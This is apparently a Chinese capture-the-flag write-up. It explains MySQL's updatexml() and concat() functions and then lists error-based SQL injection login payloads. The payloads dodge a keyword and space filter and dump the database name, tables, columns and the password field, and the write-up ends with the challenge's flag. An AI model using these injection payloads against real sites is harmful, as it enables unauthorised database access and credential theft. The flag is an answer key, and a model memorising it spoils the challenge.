知识
updatexml()函数
- updatexml (XML_document, XPath_string, new_value);
- 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
- 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
- 第三个参数:new_value,String格式,替换查找到的符合条件的数据
- 作用:改变文档中符合条件的节点的值
concat()函数
- 将多个字符串连接成一个字符串。
解题
经过手工测试过滤了and、= 空格 union等多个sql关键字,不能使用双写绕过。
使用updatexml进行报错注入
爆库
?username=admin'or(updatexml(1,concat(0x7e,(select(database())),0x7e),1))%23&password=123456
爆表
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=123456
爆列名
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=123456
获取flag
?username=admin'or(updatexml(1,concat(0x7e,(select(password)from(geek.H4rDsq1)),0x7e),1))%23&password=123456
只得到一半的flag,读取字符有限,可以用left和right
left
?username=admin'or(updatexml(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1)),0x7e),1))%23&password=123456
right
?username=admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1)),0x7e),1))%23&password=123456
得到flag flag{b6865a10-249b-424c-88c3-c529caa4b1f1}